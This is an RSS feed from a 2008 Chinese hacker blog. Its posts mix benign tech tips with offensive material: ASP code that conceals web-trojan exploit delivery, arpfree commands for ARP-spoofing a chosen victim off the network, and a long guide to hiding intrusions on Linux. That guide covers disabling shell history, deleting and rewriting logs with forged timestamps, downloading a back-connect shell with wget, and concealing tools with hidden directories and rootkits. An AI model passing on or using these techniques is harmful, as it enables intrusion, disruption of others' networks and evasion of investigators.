<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:wfw="http://wellformedweb.org/CommentAPI/">
  <channel>
    <title><![CDATA[狂人日记]]></title> 
    <link>http://www.woidiy.com/blog/</link> 
    <description><![CDATA[两团棉花糖Blog]]></description> 
    <language>en</language> 
    <copyright><![CDATA[Copyright 2008, 狂人日记]]></copyright> 
    <webMaster><![CDATA[null@null.com (Unknown)]]></webMaster> 
    <generator>LBS v2.0.313</generator> 
    <pubDate>Wed, 14 May 2008 07:56:53 +0800</pubDate> 
    <ttl>60</ttl>
  
    <item>
      <title><![CDATA[网通开始限制多线程下载了？]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=505]]></link> 
      <category><![CDATA[紫霞泪水]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Tue, 13 May 2008 09:22:14 +0800</pubDate> 
      <description><![CDATA[这几天在下ubuntu，想玩玩。只要我用多线程的下载，立马所以的网络就不通了，不仅是我自己的网络，其他人的也有影响，开始我以为是迅雷的事，马上就换成了快车，依然不行，包括我换成了电驴也不行。<br /><br />一般的症状就是开始下载的速度很快，过了不到一分钟，变成就几K，在过一会就不动了，交换机上所以的机器都不能上网了，能上的就是几个大站能打开，基本上其他的都被指到了网通的QJ网站（IP最后一位是133的那个站）。网通这个可真行，不让你下了，还给自己挣些广告费，丫的没上google的广告，要不点死。<br /><br />PS：看看这个，没办法啊，<a href="http://www.cnbeta.com/articles/55405.htm" title="http://www.cnbeta.com/articles/55405.htm" target="_blank">http://www.cnbeta.com/articles/55405.htm</a>]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=505]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[深藏25年的操作系统Bug被消灭]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=504]]></link> 
      <category><![CDATA[网海拾贝]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Tue, 13 May 2008 08:55:47 +0800</pubDate> 
      <description><![CDATA[哇塞，真是强啊！<br /><br />1983年，那时还是IBM PC XT、Apple Lisa的时代，也是这个BSD操作系统中臭虫诞生的年代，这个bug直到几天前才被消灭。<br />几天前，一位名为Marc Balmer的OpenBSD开发者收到来自用户的邮件，邮件中用户称在某些情况下为MS-DOS文件系统提供服务会导致SAMBA崩溃。Balmer随后同SAMBA的开发者取得了联系，但是SAMBA开发者声称这是在所有BSD系统代码中都存在的一个bug。<br /><br />起初Balmer根本不相信这个问题会出现在BSD操作系统上，他说：“我第一反应当然是责怪Samba”。但是经过仔细研究后，他发现这个bug确实存 在，最早出现在1983年发布的4.2 BSD中，并且问题一直没有得到修正，包括Mac OS X同样“继承”了这个bug。<br /><br />问题出现在*dir()库中，它的最初开发者大牛Marshall Kirk McKusick也来亲自过问，当然这个存在了25年才被发现的问题很快得到了解决，另一方面也足可见BSD生命力顽强。]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=504]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[为什么2008显IP版QQ聊天时自动发送未知图片]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=503]]></link> 
      <category><![CDATA[黑客发表]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Mon, 12 May 2008 14:19:28 +0800</pubDate> 
      <description><![CDATA[为什么2008显IP版QQ聊天时自动发送未知图片，包括飘云/传美/狂人等版本
本文来自死性不改的博客 http://www.clxp.net.cn 转载请保留此申明！<br/>
最近突然注意到有时和别人聊天时就会自动发送图片。但是自己看不到。别人看得到。但是等图片显示<br/>了。看到的却只是文字。根本没有图片~当时很奇怪。没去思考。。。<br/>今天无奈中发现这个问题挺恼火~严重影响情侣之间的交谈~于是就百度了一下。<br/>得到一些结果。但是并不全。附一张效果图吧。<br/><br/><A class=highslide onclick="return hs.expand(this)" href="http://www.clxp.net.cn/attachments/month_0805/s200855211122.jpg" getParams="null"><img src="http://www.clxp.net.cn/attachments/month_0805/s200855211122.jpg" onmousewheel="return bbimg(this)"  onclick="javascript:window.open(this.src);" style="CURSOR: pointer" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}"></A><br/><br/>造成这个问题的起因是显IP外挂加强了IP探测功能。以前我们就知道想让对方IP显示出来。给他发个图片。就显示了。。现在IP外挂作者替我们想到了。但是也带来一些困惑。还以为是中毒呢~<br/>所以到现在为止就不要怕了。不是中毒。而是显IP外挂自身的功能。<br/>说下解决办法吧~<br/><br/><STRONG>1、珊瑚虫IP外挂的解决办法。</STRONG><br/>QQ安装目录下。找到“CoralQQ.ini”文件。然后Ctrl+F搜索字符MsgDetectIP=1。<br/>把1改为0。保存。重新登陆QQ即可。<br/><br/><A class=highslide onclick="return hs.expand(this)" href="http://www.clxp.net.cn/attachments/month_0805/t20085521739.jpg" getParams="null"><img src="http://www.clxp.net.cn/attachments/month_0805/t20085521739.jpg" onmousewheel="return bbimg(this)"  onclick="javascript:window.open(this.src);" style="CURSOR: pointer" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}"></A><br/><br/><STRONG>2、传美QQ的IP外挂的解决办法。</STRONG><br/>照图做就可以了。<br/><br/><A class=highslide onclick="return hs.expand(this)" href="http://www.clxp.net.cn/attachments/month_0805/p20085521816.jpg" getParams="null"><img src="http://www.clxp.net.cn/attachments/month_0805/p20085521816.jpg" onmousewheel="return bbimg(this)"  onclick="javascript:window.open(this.src);" style="CURSOR: pointer" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}"></A><br/><br/><STRONG>3、狂人、快乐无极版以及是使用FinePlus版本的显IP外挂的解决办法。</STRONG><br/>找到QQ安装目录下的“FinePlus.ini”然后Ctrl+F搜索字符<br/>;是否启用CacheIP<br/>010f=1<br/>;是否自动生成小图片(0,禁止,1,当前无IP则执行,2,启动以来都无IP则执行,3,Cache无IP则执行)<br/>0110=0<br/><br/><STRONG>4、飘云版的自集成外挂版本的解决办法（测试）</STRONG><br/>找到QQ安装目录下的“Verplus.ini”搜索字段Isfind=1。把1改0保存。然后重新登陆QQ。<br/>这个是我自己猜的。因为没有明确的注视。所以改来看看效果了。如果您知道具体如何改。请告诉我下。</TD></TR></TBODY></TABLE>]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=503]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[网马中枢]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=502]]></link> 
      <category><![CDATA[黑客发表]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Mon, 12 May 2008 14:11:59 +0800</pubDate> 
      <description><![CDATA[作者：余弦<br />来源：0×37 Security<br /><br />其实想想就会知道，网马的exp总会有暴露的时刻，也就是说，我的系统环境只要满足条件就可以获得这个网马的exp。通过结合服务端的技术手段，我们可以隐藏网马exp的地址，但是却无法保证这个exp不暴露出来，exp终究要在你的浏览器上执行恶意行为。<br />比如下面code可以隐藏网马exp的地址，却不得不暴露出这个exp：<br /><br /><a href="http://127.0.0.1/s_trojan/index.html的代码：" title="http://127.0.0.1/s_trojan/index.html的代码：" target="_blank">http://127.0.0.1/s_trojan/index.html的代码：</a>&lt;script src=”<a href="http://127.0.0.1/s_trojan/blackbox_0.asp”" title="http://127.0.0.1/s_trojan/blackbox_0.asp”" target="_blank">http://127.0.0.1/s_trojan/blackbox_0.asp”</a>&gt;&lt;/script&gt;<br /><br /><a href="http://127.0.0.1/s_trojan/blackbox_0.asp的代码：" title="http://127.0.0.1/s_trojan/blackbox_0.asp的代码：" target="_blank">http://127.0.0.1/s_trojan/blackbox_0.asp的代码：</a>&lt;!– #include file=”blackbox_1.asp” –&gt;<br /><br /><a href="http://127.0.0.1/s_trojan/blackbox_1.asp的代码：" title="http://127.0.0.1/s_trojan/blackbox_1.asp的代码：" target="_blank">http://127.0.0.1/s_trojan/blackbox_1.asp的代码：</a><br /><br />document.write(’js go here……’)<br />&lt;%<br />function xss()<br />response.write “alert(’hello asp.’);”<br />end function<br />xss()<br />function f(filename)<br />set objFSO=Server.CreateObject(”Scripting.FileSystemObject”)<br />set objCountFile=objFSO.OpenTextFile(Server.MapPath(filename),1,True)<br />f=objCountFile.readall<br />objCountFile.close<br />set objCountFile=nothing<br />set objFSO=nothing<br />end function<br />x=f(”last_trojan.html”)<br />response.write x<br />%&gt;<br />trojan()<br /><br />最终的网马exp地址为<a href="http://127.0.0.1/s_trojan/last_trojan.html。blackbox_1.asp的代码既要保证服务端正确执行，又要保证客户端能正确执行其最终的JS代码。其实这些中间asp文件会暴露最终的网马exp的内容。但是却不会暴露地址。" title="http://127.0.0.1/s_trojan/last_trojan.html。blackbox_1.asp的代码既要保证服务端正确执行，又要保证客户端能正确执行其最终的JS代码。其实这些中间asp文件会暴露最终的网马exp的内容。但是却不会暴露地址。" target="_blank">http://127.0.0.1/s_trojan/last_trojan.html。blackbox_1.asp的代码既要保证服务端正确执行，又要保证客户端能正确执行其最终的JS代码。其实这些中间asp文件会暴露最终的网马exp的内容。但是却不会暴露地址。</a><br /><br />结合服务端技术其实能做很多事，网马也将更加强大，更容易以服务端为中心而被控制着:-)。强大的网马中枢应该要能判断目标系统的环境而选择性地运行，并有详细的统计功能。这样会给跟踪者带来许多麻烦:-)。但，是不是能真正隐藏网马exp呢？原则上是不行的，因为exp总要输出，否则你的浏览器漏洞如何被触发？]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=502]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[MySQL忘记密码处理方法解决办法]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=501]]></link> 
      <category><![CDATA[网海拾贝]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Sat, 10 May 2008 13:25:23 +0800</pubDate> 
      <description><![CDATA[MySQL忘记密码处理方法解决办法：<br />1。停止mysql服务。//打开命令行窗口，停止mysql服务： Net stop mysql<br />2。启动mysql，一般到mysql的安装路径，找到 mysqld-nt.exe<br />   执行：mysqld-nt --skip-grant-tables 当前窗口将会停止。<br />3。另外打开一个命令行窗口，进入MYSQL的安装位置下BIN目录，运行mysql<br />4。输入如下命令：<br />  &gt;use mysql<br />  &gt;ｕpdate user set password=password(&quot;new_password&quot;) where user=&quot;root&quot;;<br />  &gt;flush privileges;<br />  &gt;exit<br />6。用Ctrl+Alt+Del，找到mysqld-nt的进程杀掉它，在重新启动mysql-nt服务，就可以用新密码登录了]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=501]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[对抗网络执法官等软件攻击的利器arpfree]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=500]]></link> 
      <category><![CDATA[网海拾贝]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Fri, 09 May 2008 14:41:39 +0800</pubDate> 
      <description><![CDATA[使用方法：<br />首先安装winpacp驱动，发送的时候可以选择ARP的TYPE。如果是ARP请求报文，则只要输入要问的IP地址，如果是ARP应答报文则要输入发送端的IP以及对方询问MAC地址对应的IP地址。<br />最后的发送速度可选参数为：（大小写敏感）<br /><br />fast----------最快<br />hear---------每60MS一个包（比较适合结合SNIFFER做监听）<br />slowhear---每500MS一个包<br />auto---------每1秒一个包<br />slow---------每2秒个包<br /><br />实例<br /><br />反击网络执法官，网络终结者的攻击：<br />1：发动比他更强烈的攻击：<br />arpfree 123412341234 ffffffffffff request 192.168.237.58 fast<br />                                                                      |<br />                                                                      |<br />                                                          这里是你想攻击的人的IP地址<br />2：交换机竞争：<br /><br />arpfree 00c04c395a3c 123412341234 request 1.1.1.1. fast<br />                      |<br />                      |<br />        这里是你想攻击的人的MAC地址<br /><br />1：情况将导致他IP地址冲突（比“终结者”来的猛烈多了）<br />2：情况将使得他无法连接网络（由于交换机把他的流量都给你了）]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=500]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[可笑的文件夹加密大师]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=499]]></link> 
      <category><![CDATA[黑客发表]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Fri, 09 May 2008 14:35:57 +0800</pubDate> 
      <description><![CDATA[文章作者：樱花浪子<br />原始出处：<a href="http://www.hacklu.net" title="http://www.hacklu.net" target="_blank">http://www.hacklu.net</a><br />转载请保留版权，请相互尊重。　　　　　　　　　　　　　　　　　<br />　　　　　　　　　　　　　　　　　<br /><br />　　最近在找一款加密文件夹的工具，于是百度了一下发现N多，但是利用原理很多都是利用WIN缺陷的&quot;..&quot;加密，可能有很多朋友知道，也可能有很多朋友不知道这种原理，网上有一种软件利用这个自称是XX加密大师，汗……<br /><br />    大家知道在CMD下可以用MD NAME..\建立带点的文件夹，这样建立完我们发现，无法打开和改名、删除等。会出现xxxx引用一个不可用的位置，其实程序利用的就是这个原理，把要加密的文件夹，用API将要加密的文件夹名称后面加上..\,解密的时候再把它去掉。<br /><br />　　这里以云南黑客联盟的超强文件加密目录为例，首先我们建立一个test的文件夹，里面建一个test.txt的文本。用这个东东进行加密，加密后test文件夹会变成test.如图1，这时无论我们打开、删除、改名等都会弹出如图2的对话框。<br /><div style="width: 100%;overflow-x : auto;"><a href="http://pic.yupoo.com/xhacker/17672587687b/nuhovij6.jpg" target="_blank"  rel="lightbox[roadtrip]" alt="Welcome To My Blog"><img src="http://pic.yupoo.com/xhacker/17672587687b/nuhovij6.jpg" onload="javascript:if(this.width>550)this.width=550;" /></a></div><br /><br /><div style="width: 100%;overflow-x : auto;"><a href="http://pic.yupoo.com/xhacker/37759587687b/zisq9wn1.jpg " target="_blank"  rel="lightbox[roadtrip]" alt="Welcome To My Blog"><img src="http://pic.yupoo.com/xhacker/37759587687b/zisq9wn1.jpg " onload="javascript:if(this.width>550)this.width=550;" /></a></div><br /><br />　　那怎么破解呢，只要我们在运行里输入：W:\test\test..\这里注意一下文件夹第一次打开的时候会一闪关掉，我们只要在运行里再输入一遍W: \test\test..\文件夹就会乖乖的出来了，而且我们可以进行复制，移动等。如果我们想删除只要用rmdir x:\test..\ /s一切就没了。<br /><br />　　但在测试的时候我发现如果上一级目录有空格的话如W:\te st\test..\在运行里输入就会出现图3的错误，这里我们假设一下如果加密者把文件夹加密在一个含空格的文件夹中呢？其实这个也很简单，如果像W: \te st这里我们有权限重命名的话我们可以改名把空格去掉，但如果像C:\Documents and Settings这样的系统文件夹我们没有权限重命名的时候只要我们进入相应的文件夹下用md x:\md...\在建立一个就可以进去了。<br /><br />    在假设如果加密者在硬盘根目录建立一个带空格的文件夹，然后进行加密，这样我们运行x:te st..\或者在X盘根目录用md te st...\都是不行的，都会被te这里断掉，这时我们只要用短文件名照样可以进去或者删除，例如我在w盘建立一个te st，里面建立一个OK的文本，然后用上面的工具加密就会变成了“te st.”我们进入cmd下w盘的根目录，执行dir /x，看看吧，短文件名都出来了，te st.对应的就是TEST~1，我们继续执行md TEST~1..\回到w盘看看会多一个TEST~1.的文件夹，里面的OK文本文件也出来了。图4。<br /><div style="width: 100%;overflow-x : auto;"><a href="http://pic.yupoo.com/xhacker/19217587687b/ydno9e5v.jpg " target="_blank"  rel="lightbox[roadtrip]" alt="Welcome To My Blog"><img src="http://pic.yupoo.com/xhacker/19217587687b/ydno9e5v.jpg " onload="javascript:if(this.width>550)this.width=550;" /></a></div><br /><br /><div style="width: 100%;overflow-x : auto;"><a href="http://pic.yupoo.com/xhacker/30687587687b/icz4wntv.jpg " target="_blank"  rel="lightbox[roadtrip]" alt="Welcome To My Blog"><img src="http://pic.yupoo.com/xhacker/30687587687b/icz4wntv.jpg " onload="javascript:if(this.width>550)this.width=550;" /></a></div><br /><br />文章我已经做了动画，有兴趣的朋友可以看下，最后劝大家一句不要在相信网络上流传的不现实的东东，比如说手册论坛里最近流传一个只知道IP就可以开启远方摄像头的软件，我已经在“菜鸟疑惑”顶置了相应的帖子。]]></description>
      <wfw:commentRss><![CDATA[http://www.woidiy.com/blog/feed.asp?q=comment&id=499]]></wfw:commentRss>
    </item>
      
    <item>
      <title><![CDATA[linux入侵踪迹隐藏攻略v0.1]]></title> 
      <link><![CDATA[http://www.woidiy.com/blog/article.asp?id=498]]></link> 
      <category><![CDATA[黑客发表]]></category> 
      <author><![CDATA[nt_family <nt_family>]]></author> 
      <pubDate>Fri, 09 May 2008 14:31:56 +0800</pubDate> 
      <description><![CDATA[作者：xi4oyu<br /><br />免责声明：<br /><br />本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责,转载请保留。<br /><br />0．前言：<br />被警察叔叔请去喝茶时间很痛苦的事情，各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深，是我们必须掌握的基本功。当然，如果管理员真的想搞你而他的功力又足够足的话，相信没什么人能够真正的“踏雪无痕”。Forensic 与Anti-Forensic，说到底只是你和管理员之间的技术间较量而已。貌似很少有专门说这个的文章，大部分就是下载个日志擦除的软件，然后运行下就可以了，对小站可以，但对方如果是经验丰富的管理员呢？我们该如何应对？我在这里只介绍unix-like system下的，至于windows或者其他什么系统下的，欢迎各位道友补充。<br /><br />1.<br />最小化你的日志<br /><br />P.S 访问目标前用跳板我就不废话了，你是VPN也好3389也罢，ssh中转，代理都行。总之记住一点—直接连接攻击目标是愚蠢的<br /><br />1.1<br />shell使用问题<br />目前linux下大多数的shell都是采用bash或者其他的什么shell 通过输入输出重定向来实现与服务器的交互的，当我们使用ssh 或者telnet之类的登录的时候，我们的命令都会被记录在shell 的history文件下面。举例来说bash会在当前目录下面.bash_history文件里记录下你此次登陆操作的命令，如果你拿这台机器当跳板的话，或者扫描其他机器，你的命令都会被记录下来哦。呵呵，所以我们登录的第一件事就是执行如下命令：<br /><br />unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0<br /><br />当然不同的shell写法可能不同，像有的set设置环境变量什么的。大家根据自己的shell自行修改。记住：从 webshell弹回的shell也会记录你的操作，值得庆幸的是现在很多弹shell的脚本都预先unset 环境变量。<br />我们还需要记住的是在登录的时候出现在登录窗口的一些信息，比如该用户在什么时候从哪个IP登录进来的等等，这在我们后面的用于日志清除与修改的时候要用到。<br />如图：<br />[attach]3067[/attach]<br /><br />作为跳板的时候，我们有可能需要用本机的ssh去访问别的机器，但是别的机器的公钥呢？总不能放在当前用户的目录下吧？当然你可以事后删除，但多一事不如少一事，你说对么？<br />ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i<br />就可以了，但在这样运行某些命令的时候可能会有提示，说你的stdin不是个terminal，这里可以这样解决：<br />python -c &#39;import pty; pty.spawn(&quot;/bin/sh&quot;)&#39; 或者自己再建立个ttyshell。<br /><br />1.2<br />webshell的选择问题<br />   可能各位道友的日常生活中最主要目标瞄向了webserver 。现在的web也是大多数入侵的一个突破口。Linux下用的最多的就是apache服务器了，当我们发觉一个服务器的漏洞时候很可能要上传一个webshell来进行对服务器文件进一步的操作和信息的搜集，部分webshell也提供了反弹shell的功能。 如何能够在apache服务器的日志文件中留下最小的记录也是需要深究的。这种情况通常发生在没能够获得足够的权限来清除apache日志。如果能够root了，则可以将重点放在第二节日志清除上。通常，日志只记录GET的信息，比如你的注入，你采用了那种方式提交数据等等。如果我们的 webshell采用的多是GET方式交互的话，就很容易在httpd的access_log中留下很多日志。这些以后都会被作为证据所采纳的。Phpspy是个很好的选择，作者也注意掉了这点，取消了GET方式的交互，再给webshell起一个比较迷惑的名字，这样我们与webshell的交流就更加隐秘。<br /><br />2.<br />日志的清除与改写<br />日志清除与改写，俗称擦PP，这是个很重要的过程，日志记录了你对目标机器的操作记录，大部分的入侵者查找都是通过日志来确定的，因此，我们需要对日志文件进行操作。对日志操作有这么个说法，能修改的就不清除，这样才能最小的减少管理员的怀疑。Linux下的大多数文件是以文本方式，或者以简单的结构体方式存入文件的，这就为我们修改某个日志记录里的具体内容提供了前提条件。<br />需要注意的一点是，我们需要先看看日志的存放位置，有的管理员会修改日志保存的位置，一般来说，我们可以查看/etc/syslog.conf来获得log文件存放的位置。但要注意的是，有的管理员(及其负责)会重新编译syslogd文件来重新指定log存放的位置，怎么办？在这种情况下可以用strings来看下/sbin/syslogd这个文件，这种管理员我只在书里看到过，至少我没遇到过: P。这个配置文件里面记录了系统存放某些log的目录，如secure文件等。下面我们就会根据这个文件来清理和修改日志。<br />现在可以在网上公开获得的日志清除程序代码很粗糙，我曾经看到过最夸张的清日志的代码像这样:<br />rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history –r<br /><br />整个一rm集合，要是服务器跑了很长时间，积累了很多日志。你这样一删除，的，你帮他省事了，他也省事，一眼就看出有人进来了。<br />先不说其他，用rm删除就不可取，正确的删除文件做法是用shred<br />shred -n 31337 -z -u file_to_delete<br />这样多次擦除才够安全。呵呵<br />下面具体的针对日志文件进行分析。<br />W命令提供了管理员查看当前登录帐户的功能，所以与管理员同台共演是件很危险的事情，能不做就不做，但也有人曾经上演过local exp后，装上tty 然后T管理员下线截获登录密码的好戏。呵呵，如何让w不显示你登录了呢？<br />用rootkit我就不废话了，这里有个小窍门，即使是普通用户登录管理员也不能看见：<br />在跳板上登录目标ssh -T somebody@1.1.1.1 /bin/bash –i 你可以试试，很好用哦。<br /><br />OK，言归正传<br />首先第一个概念是timstamp，也就是你用ls –l 看到的东西，我们在修改一个LOG文件之前或者留后门之后都得留心下这个时间，有很多管理员喜欢通过timestamp来查找入侵者留下的东西。记住以下命令<br />touch -r 具有你希望改成的时间的文件 你要改变的文件 他能够使得两个文件的timestamp保持一致。<br />在你修改日志之前，你可以在/dev/shm下面建立一个临时文件，并将log的timestamp保存下俩，然后再touch回去。为什么要用/dev/shm 目录在第三节会有说明。当然我们也可以用程序实现，不过有的时候我们会碰到没有见过的日志类型，所以有时候需要手工改写日志。除了时间之外，还需要注意文件的其他属性，比如所有者或是否有粘滞位等等。这些都需要注意。<br /><br />Linux 的日志散落在系统各处，同时系统管理员也能够灵活的制定日志保存的位置，这就要求我们非常小心，采用通用的日志移除或改写工具是很不明智的，为此我们要对需要修改的日志系统有个全面的了解。具体的内容请参看文章《Linux服务器日志管理详解》。<br />这里提供个工具<br /><a href="http://lists.darklab.org/pipermail/darklab/2006-May/000234.html" title="http://lists.darklab.org/pipermail/darklab/2006-May/000234.html" target="_blank">http://lists.darklab.org/pipermail/darklab/2006-May/000234.html</a><br />怎么使用自己去看看吧。我个人还是倾向于某个日志用某个特定的清除或修改器，这样灵活性更大点。<br />我们也可以使用sed命令行工具来清除某些日志，通常我会这样修改web日志:<br /><br />touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed&#39;/192\.168\.44\.1/d&#39; access_log &gt; /dev/shm/backlog ; cat/dev/shm/backlog &gt; access_log; touch -r /dev/shm/timestamp./access_log ;shred -n 255 -z -u /dev/shm/timestamp;<br /><br />这里192.168.44.1是我跳板的IP。<br />具体的log修改和擦除工具，各位道长就从网上下个现成的自己改改吧，呵呵，我就不在这献丑了。<br />还有一点，我们要将wtmp文件中的登录日志修改成原来管理员登陆的IP和时间 也就是第一节中记下的时间与IP。如果实在得不到 root权限，我们也可以ssh localhost一下来隐藏登录IP。<br /><br />3.<br />工具与数据的隐藏<br />3.1工具与数据的临时存放<br />当我们需要在服务器上留下某些程序的时候，比如sniff软件，或者作为跳板攻击其他服务器的时候，我们不得不面对着一个痛苦的抉择：既要能够留下足够的工具来完成必要的任务，又要经可能少的对文件系统乃至对磁盘的数据的改写。在这种情况下，如果所要保存的数据只是临时的，我们就需要在内存中建立起文件系统。这样，当系统再重启后我们曾经在磁盘上保留的信息就会被擦除，因为它没有被真正的写到磁盘上面去。（注意：通常我们只用这种方法来保存暂时用的程序、代码等工具，如果要长久保存的不推荐此种方法）<br />为此，我们需要建立ramfs,它是一个在内存中存在的文件系统。具体的介绍请各位道友自行查找相关文档查看。建立ramfs很简单，不过需要有root权限。代码如下：<br />mount -t ramfs ramfs /usr/tmp<br />这样/usr/tmp目录就被挂载为一个内存文件系统。当然，在实际过程中我们可能要找一个隐藏比较深的不用的目录来做为挂载点。<br />那在我们没有root的情况下呢？有时候，我们可能会遇到某个websever的php代码有个remote execution的洞洞，在webserver 的目录下不可写的时候，我们可能会用到wget来下载一个回连的shell到一个都可以写的目录，比如/tmp<br />通常我们会这样做：<br />Wget <a href="http://xxxx/backshell.pl" title="http://xxxx/backshell.pl" target="_blank">http://xxxx/backshell.pl</a> -P /tmp<br />但是否想过/tmp或许只是一个普通的ext3或者reinfs文件系统，最多充其量是个tmpfs，这些文件系统有个特点就是会与磁盘交互。那我们应该选择什么目录来保存我们的代码呢？在现代的linux操作系统中，默认挂载了/dev/shm目录其类型就是ramfs，作为系统共享用。我们就可以利用它来完成保存shell的目的。<br /><br />3.2工具与数据的长期存放<br />目录的隐藏是个很高深的学问，在最开始的阶段，我们通常是在一个很深的目录里面建立名为”…” 或者” ”等的目录，然后把工具一股脑的放进去，这招在对付不负责任的管理员的时候很管用，但是遇到负责人的管理员一个find语句就能把你找出来：<br /># find / -uid 0 –perm -4000 –print<br /># find / -size +10000k –print<br /># find / -name “...“ –print<br /># find / -name “.. “ –print<br /># find / -name “. “ –print<br /># find / -name “ “ –print<br />留setuid的程序也是个大的忌讳，这样很容易引起管理员的怀疑。特别是这个setuid程序存在莫名其妙的目录下的时候。<br />在大多数情况下，我们可以借助 rootkit来帮助你完成这个功能。<br />我简单的介绍下，像linux下的rootkit，总体来说可以分为两大类：应用层和内核态的rootkit。<br />应用层的rootkit通常通过修改某些文件来实现信息隐藏，比如修改ls 让其不显示某个特殊名称文件夹，修改ifconfig让其不显示PROMISC位<br />还有的是通过修改 so<br />文件来留后门等等。如果管理员安装了tripwire之类的完整性校验工具各位道友就要小心了，不过一般的管理员也没那么负责。这些低级的rootkit很容易给chkrootkit之类的工具给揪出来，要真正用的话最好自己能下载源代码重新编译下，修改掉配置文件的默认位置，这样好点。<br />内核级别的rootkit:顾名思义，进入ring0级别来HOOK掉某些系统调用或者其他什么乱起八糟的方法来改掉系统调用的执行输出（当然也ring3 patch ring0也有，像suckit）。这种东西很诡异，能够真正成功装上的几率不大，关键看人品，呵呵。进入了2.6时代，很多美好的rootkit都失去了光彩。加之2.6的模块编译要内核树的支持，更使得LKM方式的 rootkit举步维艰。据wzt讲，suckit也有2.6版本的，不过是private的要money。偶等穷人也只有干看到份了。<br />2.6的rootkit安装可以看看包总的adore-ng教程 wnps也不错，不过wzt这BB也停止开发了<br />。还有什么内核静态patch等方法，也只是在phrack里面看到过，各位道友用过的给我介绍下啊，呵呵。<br /><br />扯远了，关于如何隐藏文件，当然你也可以采用伪造坏扇区的方法，将你的东西放在那里，一般的文件系统算是看不出来了。你可以用特殊的工具对其进行存储。这个再以后的advance anti-forensic文章中会讲，不再多说。<br /><br />4.<br />如何安装和编译工具<br />可能linux与windows对于用户来说，最大的不同就是linux从网上下载的大多数都是src 源代码包，要使用的话需要在机器上现场编译，好不容易有编译好的发行包如rpm<br />deb还是和系统相关的 依赖性啊，等等，烦都烦死人了。像要装个ettercap,什么ｌｉｂｎｅｔ libpcap都得装上，但有时候我们的目标机器上没有所需要的依赖文件，这怎么办呢？不推荐使用rpm<br />dpkg 等方式来安装需要的文件，也不推荐apt yum源等方式安装，从源代码编译把，这样比较好点。<br />我们把下载的源代码放到自己的隐藏目录里，在configure的时候需要指定prefix安装路径，总不能把这些包真正的装到系统里面把，指定成我们的隐藏目录就好，这样一来，管理员也不会发现怎么系统安装了许多原本没有支持的库文件或者头文件了。<br />最后一步，当编译我们的工具时，需要指定所依赖的头文件目录和库文件目录，不要执行make install命令，这样一来，我们的工具就可以完全在我们的隐藏目录里面了。<br />关于perl的模块安装，可以参看这边文章：<br /><a href="http://servers.digitaldaze.com/extensions/perl/modules.html" title="http://servers.digitaldaze.com/extensions/perl/modules.html" target="_blank">http://servers.digitaldaze.com/extensions/perl/modules.html</a><br /><br />先写这么多吧，呵呵，有想到的再加上。后头还会写篇Advance anti-forensic的文章。可能有的道友会说我太小心。小心好啊，小心使得万年船，不是么？呵呵]]></description>
